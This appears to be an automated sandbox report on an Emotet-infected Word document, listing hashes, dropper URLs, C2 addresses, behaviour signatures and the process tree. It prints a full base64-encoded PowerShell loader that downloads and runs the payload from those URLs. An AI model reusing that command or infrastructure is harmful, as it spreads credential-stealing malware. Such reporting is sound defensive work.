emotet | 958410d0bb67c7d367734d2485d41525305b9b547c7382bbc8a615da1c93cf30

General

Target

Inv W79555.doc
Size

169KB
MD5

606e7c237aff3accaec78fa7918ed6ca
SHA1

f7f1eb8438f3db9aa23af0e0ba566a75c0b241f2
SHA256

958410d0bb67c7d367734d2485d41525305b9b547c7382bbc8a615da1c93cf30
SHA512

3beac2f2e13ef39e2eac060913f2b767fc7391839869876f4be7c7cbad5fd7bc0f88ccfefe5fa2d5b5c916598453a81a3103615784654c7d334cb6f53198c569

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://moshauer.de/B9kxs4x8n6272826/

exe.dropper

http://geted.de/wwvv2/sTZFOgzh/

exe.dropper

http://suhailacademy.com/wp-admin/oSHA/

exe.dropper

http://smashingcake.com/blog/HNpury/

exe.dropper

https://taolodge.com/pz/YbU2chs1980/

Extracted

Family

emotet

C2

187.64.128.197:80

198.57.203.63:8080

163.172.107.70:8080

212.112.113.235:80

157.7.164.178:8081

181.167.35.84:80

212.156.133.218:80

185.142.236.163:443

181.143.101.19:8080

75.127.14.170:8080

115.165.3.213:80

190.55.233.156:80

139.59.12.63:8080

144.139.91.187:80

37.70.131.107:80

181.113.229.139:443

41.185.29.128:8080

177.37.81.212:443

5.79.70.250:8080

78.188.170.128:80

rsa_pubkey.plain

Signatures

Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 2544 powersheLL.exe
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.exeRmClient.exe

pid process

2544 powersheLL.exe
2544 powersheLL.exe
2544 powersheLL.exe
468 RmClient.exe
468 RmClient.exe
468 RmClient.exe
468 RmClient.exe

description	pid	process
Token: SeDebugPrivilege	2544	powersheLL.exe

pid	process
2544	powersheLL.exe
2544	powersheLL.exe
2544	powersheLL.exe
468	RmClient.exe
468	RmClient.exe
468	RmClient.exe
468	RmClient.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

432.exe

description	pid	process	target process
PID 3564 wrote to memory of 468	3564	432.exe	RmClient.exe
PID 3564 wrote to memory of 468	3564	432.exe	RmClient.exe
PID 3564 wrote to memory of 468	3564	432.exe	RmClient.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Drops file in System32 directory 1 IoCs

Processes:

432.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\WindowsCodecsExt\RmClient.exe 432.exe
Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\WindowsCodecsExt\RmClient.exe	432.exe

Suspicious use of SetWindowsHookEx 11 IoCs

Processes:

WINWORD.EXE432.exeRmClient.exe

pid	process
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
496	WINWORD.EXE
3564	432.exe
468	RmClient.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

496 WINWORD.EXE
496 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2544	1052	powersheLL.exe

Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

14 2544 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

432.exeRmClient.exe

pid process

3564 432.exe
468 RmClient.exe

flow	pid	process
14	2544	powersheLL.exe

pid	process
3564	432.exe
468	RmClient.exe

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/3564-10-0x00000000004D0000-0x00000000004DC000-memory.dmp	emotet
behavioral2/memory/3564-10-0x00000000004D0000-0x00000000004DC000-memory.dmp	emotet
behavioral2/memory/468-13-0x00000000005B0000-0x00000000005BC000-memory.dmp	emotet
behavioral2/memory/468-13-0x00000000005B0000-0x00000000005BC000-memory.dmp	emotet

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Inv W79555.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:496

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABSAEoAUwBYAEQAdgBsAGUAPQAnAEEAVABOAE4ATQBhAHAAegAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAUgBJAGAAVABgAHkAYABwAHIATwBUAE8AQwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABFAEIARwBZAFUAbgBkAGEAIAA9ACAAJwA0ADMAMgAnADsAJABKAEwARgBPAEQAeABrAGUAPQAnAFUAUwBIAEoAQQBtAG8AawAnADsAJABRAEcAUABEAEkAagBuAGgAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEUAQgBHAFkAVQBuAGQAYQArACcALgBlAHgAZQAnADsAJABTAEQAVQBSAEQAdABtAG4APQAnAFEAUABHAEoAVgBjAG0AcgAnADsAJABHAE8AUgBTAFQAbgBwAHIAPQAuACgAJwBuAGUAJwArACcAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAYwBsAGkAZQBOAFQAOwAkAE4AVABPAEMASwBxAHAAZwA9ACcAaAB0AHQAcABzADoALwAvAG0AbwBzAGgAYQB1AGUAcgAuAGQAZQAvAEIAOQBrAHgAcwA0AHgAOABuADYAMgA3ADIAOAAyADYALwAqAGgAdAB0AHAAOgAvAC8AZwBlAHQAZQBkAC4AZABlAC8AdwB3AHYAdgAyAC8AcwBUAFoARgBPAGcAegBoAC8AKgBoAHQAdABwADoALwAvAHMAdQBoAGEAaQBsAGEAYwBhAGQAZQBtAHkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAG8AUwBIAEEALwAqAGgAdAB0AHAAOgAvAC8AcwBtAGEAcwBoAGkAbgBnAGMAYQBrAGUALgBjAG8AbQAvAGIAbABvAGcALwBIAE4AcAB1AHIAeQAvACoAaAB0AHQAcABzADoALwAvAHQAYQBvAGwAbwBkAGcAZQAuAGMAbwBtAC8AcAB6AC8AWQBiAFUAMgBjAGgAcwAxADkAOAAwAC8AJwAuACIAcwBwAGwAYABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABNAFUATwBBAFQAcgByAGsAPQAnAFQASgBOAEIAWABwAGoAZwAnADsAZgBvAHIAZQBhAGMAaAAoACQAVABNAFYATgBCAGQAZgB0ACAAaQBuACAAJABOAFQATwBDAEsAcQBwAGcAKQB7AHQAcgB5AHsAJABHAE8AUgBTAFQAbgBwAHIALgAiAGQATwBXAG4AbABgAE8AYABBAGQAZgBpAGAATABlACIAKAAkAFQATQBWAE4AQgBkAGYAdAAsACAAJABRAEcAUABEAEkAagBuAGgAKQA7ACQAVwBSAEkATABDAHAAcwB0AD0AJwBPAEwAWABFAFcAagBnAGMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABRAEcAUABEAEkAagBuAGgAKQAuACIATABgAEUAYABOAGcAdABoACIAIAAtAGcAZQAgADMAMgA0ADUAMwApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwByAGAAZQBBAGAAVABlACIAKAAkAFEARwBQAEQASQBqAG4AaAApADsAJABSAEsAQwBBAFQAdgB0AGQAPQAnAFAAUgBSAFoATwB1AHEAegAnADsAYgByAGUAYQBrADsAJABBAFMAWQBIAFoAYwBkAHkAPQAnAE8ATQBFAFUAVgB6AHMAbwAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABUAFIATwBRAEkAbQBiAGQAPQAnAFcATQBJAEoARwBrAGkAYgAnAA==
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Process spawned unexpected child process
- Blacklisted process makes network request
PID:2544

C:\Users\Admin\432.exe
C:\Users\Admin\432.exe
1⤵
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:3564

C:\Windows\SysWOW64\WindowsCodecsExt\RmClient.exe
"C:\Windows\SysWOW64\WindowsCodecsExt\RmClient.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Executes dropped EXE
PID:468

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\432.exe

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C:\Users\Admin\432.exe

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C:\Windows\SysWOW64\WindowsCodecsExt\RmClient.exe

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memory/468-11-0x0000000000000000-mapping.dmp

Download
memory/468-13-0x00000000005B0000-0x00000000005BC000-memory.dmp

Filesize
48KB

Download
memory/496-3-0x0000020DA4A7B000-0x0000020DA4A8C000-memory.dmp

Filesize
68KB

Download
memory/3564-10-0x00000000004D0000-0x00000000004DC000-memory.dmp

Filesize
48KB

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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